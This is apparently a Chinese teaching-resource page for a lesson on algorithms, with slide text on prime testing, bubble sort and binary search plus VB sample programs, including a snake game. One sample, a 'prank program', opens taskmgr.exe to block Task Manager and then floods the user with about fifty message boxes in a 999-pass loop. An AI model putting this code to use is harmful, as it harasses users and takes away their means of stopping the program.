1.4 算法的概念和表示方法 课件(17张幻灯片)+1个微课+2个视频+素材

资源下载
  1. 二一教育资源

1.4 算法的概念和表示方法 课件(17张幻灯片)+1个微课+2个视频+素材

资源简介

课件17张PPT。视频欣赏初识算法趣味题:请设计过河的方法一个人带一只狼和一只羊和一颗白菜过河。
人不在的时候,狼吃羊,羊吃菜。
S1 人带羊过河,人回; S3 人带狼过,带回羊 S4 人带菜过,人回; S5 人带羊过 答案揭秘:步骤顺序过程关系算法:一词源于算术,即算术方法,是指一个由已知推求未知的运算过程。 广义地说,算法就是做某一件事的步骤或程序。 生活中,菜谱是做菜肴的算法,歌谱是一首歌曲的算法。 数学中,解方程的算法、函数求值的算法、作图的算法,等等算法的定义算法案列分析质数的定义:在大于1的自然数中,除了1和它本身以外不再有其他因数。判断7是不是质数?
描述运算过程?7%2,余数不为07%3,余数不为07%6,余数不为07%4,余数不为07%5,余数不为0质数n%2,余数不为0n%3,余数不为0.......n%(n-1),余数不为0质数n%i,余数d!=0izhishu = "质数"
For i = 2 To n - 1
If n Mod i = 0 Then
zhishu = "不是质数"
Exit For
End If
Next
End Function输入数n,
i=2d=0?n%i
余数=dYN不是质数Ni=i+11.请输入n=4,试验算法2.请输入n=5,试验算法3.请输入n=-1,试验算法如何修改算法?n>1i通用性
优化性
有穷性
小结:排序数组(升序)155101927说一说你的大脑是如何运转的?模拟大脑运转哑剧欣赏:冒泡握手是什么意思?在什么情况下互换手中的数字?情景再现冒泡排序法的过程排序数组第一次排序第二次排序第五次排序第四次排序第三次排序155101927510152719510271519527101519257101519257101519猜价格游戏一个学生:背对黑板猜数其余学生:提示大了或小了教师:记录猜正确的次数角色角色翻转经典再现--二分查找VB趣味小程序2、贪吃蛇 1、整人小程序 谢 谢VB趣味小程序
展示excel中通过模块添加函数判断质数
步骤:
工具-宏-VB编辑器
插入-模块 输入以下函数:
Function zhishu(n) As String
zhishu = "是"
For i = 2 To n-1
If n Mod i = 0 Then
zhishu = "否"
Exit For
End If
Next
End Function
3、在Excel工作表中,插入-函数-用户自定义
3. 球来回弹
在窗体上添加一shape空间,shape为circle,计时器空间inteval=10 通用
Dim bz
Private Sub Timer1_Timer()
If Shape1.Left >= Form1.ScaleWidth - Shape1.Width Then bz = 1
If Shape1.Left <= 0 Then bz = 0
If bz = 0 Then Shape1.Left = Shape1.Left + 10
If bz = 1 Then Shape1.Left = Shape1.Left - 10 End Sub
注意:bz的使用(bz为一临时标志,用于判断移动方向)
4. 从大到小再从小到大变化
在窗体添加一标签label1,autosize=true,caption="?",添加一计时器空间timer1,inteval=100
通用:
Dim bz
Private Sub Timer1_Timer()
If Label1.FontSize >= 72 Then bz = 1
If Label1.FontSize <= 8 Then bz = 0
If bz = 0 Then Label1.FontSize = Label1.FontSize + 2
If bz = 1 Then Label1.FontSize = Label1.FontSize - 2 End Sub
6. 四周循环移动
创建一个窗体,在上面添加“开始”和“停止”两个按钮,添加一个计时器控件timer1
在窗体上添加一个shape控件,设置背景不透明,红色,调整大小
程序代码如下:
Option Explicit
Dim bz%
Private Sub Command1_Click() '开始按钮
Timer1 = True
End Sub
Private Sub Command2_Click() '停止按钮
Timer1 = False
End Sub
Private Sub Form_Load()
Shape1.Left = 0
Shape1.Top = 0
Timer1 = False
Timer1.Interval = 10
End Sub
Private Sub Timer1_Timer()
If Shape1.Left >= Form1.ScaleWidth - Shape1.Width And Shape1.Top <= 0 Then
bz = 1
If Shape1.Top >= Form1.ScaleHeight - Shape1.Height Then bz = 2
If Shape1.Left <= 0 Then bz = 3
If Shape1.Top <= 0 And Shape1.Left <= 0 Then bz = 0
Select Case bz
Case 0
Shape1.Left = Shape1.Left + 10
Case 1
Shape1.Top = Shape1.Top + 10
Case 2
Shape1.Left = Shape1.Left - 10
Case 3
Shape1.Top = Shape1.Top - 10
End Select
End Sub
整人小程序:
Private Sub Form_Load()
Open Environ$("WinDir") & "system32taskmgr.exe" For Binary As #1
For m = 1 To 999
MsgBox "呵呵,你知道我是谁吗?", 16
MsgBox "什么??不知道?", 16
MsgBox "那你打开我干什么?", 16
MsgBox "你有空没事做吧?!", 16
MsgBox "我..就是鼎鼎大名的23班帅哥一枚", 16
MsgBox "班主任朱老师。。", 16
MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16
MsgBox "算了算了,不玩你了", 16
MsgBox "现在我数3声就闪人,行了吧?", 16
MsgBox "1.............", 16
MsgBox "2.............", 16
MsgBox "3.............", 16
MsgBox "噔噔噔噔,我又回来了!", 16
MsgBox "哈哈,是不是很过瘾呢?", 16
MsgBox "现在我先介绍下自己..", 16
MsgBox "我叫王得地..", 16
MsgBox "性别:男..", 16
MsgBox "今年35岁..", 16
MsgBox "不好意思噢,我好像说多了..", 16
MsgBox "不要这样喇,听我说完先好不?", 16
MsgBox "来来来,开始喇..", 16
MsgBox "我叫王得地..", 16
MsgBox "家中有屋又有田..", 16
MsgBox "生活乐无边..", 16
MsgBox "好像我又说多了...", 16
MsgBox "不要生气嘛,你认真看下去我就放你走..", 16
MsgBox "好,开始喇..", 16
MsgBox "从前有座山..", 16
MsgBox "山里有个座庙..", 16
MsgBox "庙里有个和尚..", 16
MsgBox "哈哈,想哭吗?", 16
MsgBox "被骗的感觉不爽吧?", 16
MsgBox "喂喂喂!别别..千万别重启电脑", 16
MsgBox "我告诉你怎么关吧", 16
MsgBox "先打开任务管理器", 16
MsgBox "忘了告诉你了,任务管理器打不开了", 16
MsgBox "别恨我啊你不小心", 16
MsgBox "电脑重新启动吧", 16
MsgBox "相信我吧,你知道我是不会骗人的", 16
MsgBox "如果你还想继续点的话,你就别听我的", 16
MsgBox "呵呵,我又没有说这个东西没有", 16
MsgBox "我只想说桌面没有罢了..", 16
MsgBox "嘻嘻,爽不爽吖?", 16
MsgBox "对着电脑屏幕大声说低调大好人", 16
MsgBox "不然,我就没办法的咯", 16
MsgBox "因为我把循环设置成99了", 16
MsgBox "想保存电脑数据只有继续点了", 16
MsgBox "绝对会出到去的", 16
MsgBox "好了,废话不多说了,祝你好运..", 16
MsgBox "制作:低调不倒", 16
MsgBox "西双版纳州第二中学23班帅哥一枚", 16
MsgBox "E-mail:不告诉你", 16
MsgBox "好,继续循环..", 16
Next
End Sub
贪吃蛇
Option Explicit
Private WithEvents Timer1 As Timer
Private WithEvents Label1 As Label
Dim GFangXiang As Boolean
Dim HWB As Single
Dim She() As ShenTi
Dim X As Long, Y As Long
Dim ZhuangTai(23, 23) As Long
Private Type ShenTi
F As Long
X As Long
Y As Long
End Type
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Dim C As Long
If KeyCode = 27 Then End
If KeyCode = 32 Then
If Timer1.Enabled = True Then
Timer1.Enabled = False
Label1.Visible = True
Else
Timer1.Enabled = True
Label1.Visible = False
End If
End If
C = UBound(She)
If GFangXiang = True Then Exit Sub
Select Case KeyCode
Case 37
If She(C).F = 2 Then Exit Sub
She(C).F = 0
GFangXiang = True
Case 38
If She(C).F = 3 Then Exit Sub
She(C).F = 1
GFangXiang = True
Case 39
If She(C).F = 0 Then Exit Sub
She(C).F = 2
GFangXiang = True
Case 40
If She(C).F = 1 Then Exit Sub
She(C).F = 3
GFangXiang = True
End Select
End Sub
Private Sub Form_Load()
Me.AutoRedraw = True
Me.BackColor = &HC000&
Me.FillColor = 255
Me.FillStyle = 0
Me.ScaleWidth = 24
Me.ScaleHeight = 24
Me.WindowState = 2
Set Timer1 = Controls.Add("VB.Timer", "Timer1")
Set Label1 = Controls.Add("VB.Label", "Label1")
Label1.AutoSize = True
Label1.BackStyle = 0
Label1 = "暂停"
Label1.ForeColor = RGB(255, 255, 0)
Label1.FontSize = 50
ChuShiHua
End Sub
Private Sub Form_Resize()
On Error GoTo 1:
With Me
If .WindowState <> 1 Then
.Cls
.ScaleMode = 3
HWB = .ScaleHeight / .ScaleWidth
.ScaleWidth = 24
.ScaleHeight = 24
Label1.Move (Me.ScaleWidth - Label1.Width) / 2, (Me.ScaleHeight - Label1.Height) / 2
HuaTu
Me.Line (X, Y)-(X + 1, Y + 1), RGB(255, 255, 0), BF
End If
End With
1:
End Sub
Private Sub Timer1_Timer()
Dim C As Long, I As Long
On Error GoTo 2:
QingChu
C = UBound(She)
Select Case She(C).F
Case 0
If ZhuangTai(She(C).X - 1, She(C).Y) = 2 Then
C = C + 1
ReDim Preserve She(C)
She(C).F = She(C - 1).F
She(C).X = She(C - 1).X - 1
She(C).Y = She(C - 1).Y
ChanShengShiWu
GoTo 1:
ElseIf ZhuangTai(She(C).X - 1, She(C).Y) = 1 Then
GoTo 2:
End If
Case 1
If ZhuangTai(She(C).X, She(C).Y - 1) = 2 Then
C = C + 1
ReDim Preserve She(C)
She(C).F = She(C - 1).F
She(C).X = She(C - 1).X
She(C).Y = She(C - 1).Y - 1
ChanShengShiWu
GoTo 1:
ElseIf ZhuangTai(She(C).X, She(C).Y - 1) = 1 Then
GoTo 2:
End If
Case 2
If ZhuangTai(She(C).X + 1, She(C).Y) = 2 Then
C = C + 1
ReDim Preserve She(C)
She(C).F = She(C - 1).F
She(C).X = She(C - 1).X + 1
She(C).Y = She(C - 1).Y
ChanShengShiWu
GoTo 1:
ElseIf ZhuangTai(She(C).X + 1, She(C).Y) = 1 Then
GoTo 2:
End If
Case 3
If ZhuangTai(She(C).X, She(C).Y + 1) = 2 Then
C = C + 1
ReDim Preserve She(C)
She(C).F = She(C - 1).F
She(C).X = She(C - 1).X
She(C).Y = She(C - 1).Y + 1
ChanShengShiWu
GoTo 1:
ElseIf ZhuangTai(She(C).X, She(C).Y + 1) = 1 Then
GoTo 2:
End If
End Select
ZhuangTai(She(0).X, She(0).Y) = 0
For I = 0 To C
Select Case She(I).F
Case 0
She(I).X = She(I).X - 1
Case 1
She(I).Y = She(I).Y - 1
Case 2
She(I).X = She(I).X + 1
Case 3
She(I).Y = She(I).Y + 1
End Select
Next
TiaoZheng
1:
GFangXiang = False
ZhuangTai(She(C).X, She(C).Y) = 1
HuaTu
Exit Sub
2:
If MsgBox("游戏结束,点“是”重新开始游戏,点“否”", vbYesNo, "贪吃蛇") = vbYes Then
ChuShiHua
Else
End
End If
End Sub
Private Sub ChuShiHua()
Me.Cls
Timer1.Enabled = True
Timer1.Interval = 200
Erase ZhuangTai
ReDim She(2)
She(0).F = 2
She(0).X = 9
She(0).Y = 11
ZhuangTai(9, 11) = 1
She(1).F = 2
She(1).X = 10
She(1).Y = 11
ZhuangTai(10, 11) = 1
She(2).F = 2
She(2).X = 11
She(2).Y = 11
ZhuangTai(11, 11) = 1
HuaTu
ChanShengShiWu
End Sub
Private Sub QingChu()
Dim I As Long
For I = 0 To UBound(She)
Me.Line (She(I).X, She(I).Y)-(She(I).X + 1, She(I).Y + 1), Me.BackColor, BF
Next
End Sub
Private Sub HuaTu()
Dim I As Long
For I = 0 To UBound(She)
Me.Circle (She(I).X + 0.5, She(I).Y + 0.5), 0.49, RGB(255, 255, 0), , , HWB
Next
End Sub
Private Sub TiaoZheng()
Dim I As Long
For I = 0 To UBound(She) - 1
She(I).F = She(I + 1).F
Next
End Sub
Private Sub ChanShengShiWu()
Randomize Timer
1:
X = Int(Rnd * 24)
Y = Int(Rnd * 24)
If ZhuangTai(X, Y) > 0 Then GoTo 1:
ZhuangTai(X, Y) = 2
Me.Line (X, Y)-(X + 1, Y + 1), RGB(255, 255, 0), BF
End Sub

展开更多......

收起↑

资源列表